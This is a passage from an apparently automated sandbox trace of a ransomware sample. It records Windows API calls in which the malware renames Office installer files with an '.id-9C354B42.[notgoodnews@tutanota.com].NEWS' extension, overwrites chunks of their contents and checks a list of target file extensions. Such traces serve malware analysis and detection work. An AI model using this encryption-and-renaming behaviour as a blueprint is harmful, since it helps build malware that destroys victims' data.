lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.240] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=2506240) returned 1 [0045.240] CloseHandle (hObject=0x170) returned 1 [0045.241] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0045.241] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.241] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0045.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.242] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.242] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.242] ReadFile (in: hFile=0x170, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.254] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.254] ReadFile (in: hFile=0x170, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.281] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.281] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.281] ReadFile (in: hFile=0x170, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.593] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.594] WriteFile (in: hFile=0x170, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.357] SetEndOfFile (hFile=0x170) returned 1 [0046.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3f65878 [0046.365] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.366] WriteFile (in: hFile=0x170, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.571] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.572] WriteFile (in: hFile=0x170, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.583] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.584] WriteFile (in: hFile=0x170, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f65878 | out: hHeap=0x5c0000) returned 1 [0047.189] CloseHandle (hObject=0x170) returned 1 [0049.382] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.383] lstrlenW (lpString=".doc") returned 4 [0049.383] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.383] lstrlenW (lpString=".docx") returned 5 [0049.383] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0049.383] lstrlenW (lpString=".pdf") returned 4 [0049.383] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.383] lstrlenW (lpString=".xls") returned 4 [0049.383] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.383] lstrlenW (lpString=".xlsx") returned 5 [0049.383] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0049.384] lstrlenW (lpString=".ppt") returned 4 [0049.384] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.384] lstrlenW (lpString=".zip") returned 4 [0049.384] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.384] lstrlenW (lpString=".rar") returned 4 [0049.384] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.384] lstrlenW (lpString=".bz2") returned 4 [0049.384] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.384] lstrlenW (lpString=".7z") returned 3 [0049.384] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.384] lstrlenW (lpString=".dbf") returned 4 [0049.384] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.384] lstrlenW (lpString=".1cd") returned 4 [0049.384] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.384] lstrlenW (lpString=".jpg") returned 4 [0049.384] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.385] lstrlenW (lpString=".doc") returned 4 [0049.385] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.385] lstrlenW (lpString=".docx") returned 5 [0049.385] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0049.385] lstrlenW (lpString=".pdf") returned 4 [0049.385] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.385] lstrlenW (lpString=".xls") returned 4 [0049.385] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.385] lstrlenW (lpString=".xlsx") returned 5 [0049.385] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0049.385] lstrlenW (lpString=".ppt") returned 4 [0049.385] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.385] lstrlenW (lpString=".zip") returned 4 [0049.385] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.385] lstrlenW (lpString=".rar") returned 4 [0049.385] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.385] lstrlenW (lpString=".bz2") returned 4 [0049.385] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.386] lstrlenW (lpString=".7z") returned 3 [0049.386] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.386] lstrlenW (lpString=".dbf") returned 4 [0049.386] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.386] lstrlenW (lpString=".1cd") returned 4 [0049.386] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0049.386] lstrlenW (lpString=".jpg") returned 4 [0049.386] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.386] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0049.386] lstrlenW (lpString="PubLR.cab") returned 9 [0049.386] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.387] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=9958388) returned 1 [0049.387] CloseHandle (hObject=0x1f4) returned 1 [0049.387] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0049.387] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.387] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0049.388] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.388] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.388] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.388] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.594] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.594] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.688] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.688] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.688] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.000] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.001] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0050.110] SetEndOfFile (hFile=0x1f4) returned 1 [0050.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ee4858 [0050.264] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.264] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.267] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.267] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.275] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.275] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0050.285] CloseHandle (hObject=0x1f4) returned 1 [0053.758] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0053.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.758] lstrlenW (lpString=".doc") returned 4 [0053.759] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.759] lstrlenW (lpString=".docx") returned 5 [0053.759] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.759] lstrlenW (lpString=".pdf") returned 4 [0053.759] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.759] lstrlenW (lpString=".xls") returned 4 [0053.759] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.759] lstrlenW (lpString=".xlsx") returned 5 [0053.759] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.759] lstrlenW (lpString=".ppt") returned 4 [0053.759] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.759] lstrlenW (lpString=".zip") returned 4 [0053.759] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.759] lstrlenW (lpString=".rar") returned 4 [0053.759] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.759] lstrlenW (lpString=".bz2") returned 4 [0053.759] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.759] lstrlenW (lpString=".7z") returned 3 [0053.759] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.760] lstrlenW (lpString=".dbf") returned 4 [0053.760] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.760] lstrlenW (lpString=".1cd") returned 4 [0053.760] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.760] lstrlenW (lpString=".jpg") returned 4 [0053.760] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.760] lstrlenW (lpString=".doc") returned 4 [0053.760] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.760] lstrlenW (lpString=".docx") returned 5 [0053.760] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.760] lstrlenW (lpString=".pdf") returned 4 [0053.760] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.760] lstrlenW (lpString=".xls") returned 4 [0053.760] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.761] lstrlenW (lpString=".xlsx") returned 5 [0053.761] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.761] lstrlenW (lpString=".ppt") returned 4 [0053.761] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.761] lstrlenW (lpString=".zip") returned 4 [0053.761] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.761] lstrlenW (lpString=".rar") returned 4 [0053.761] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.761] lstrlenW (lpString=".bz2") returned 4 [0053.761] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.761] lstrlenW (lpString=".7z") returned 3 [0053.761] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.761] lstrlenW (lpString=".dbf") returned 4 [0053.761] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.761] lstrlenW (lpString=".1cd") returned 4 [0053.761] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0053.762] lstrlenW (lpString=".jpg") returned 4 [0053.762] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.762] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0053.762] lstrlenW (lpString="WordMUI.msi") returned 11 [0053.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.763] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=2522624) returned 1 [0053.763] CloseHandle (hObject=0x1f4) returned 1 [0053.763] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0053.763] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.763] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0053.764] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.764] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0053.764] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.764] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.773] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.773] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.799] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.799] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.799] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.133] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.133] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0054.535] SetEndOfFile (hFile=0x1f4) returned 1 [0054.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3f85880 [0054.612] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.612] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f85880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f85880*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.616] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.616] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f85880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f85880*, 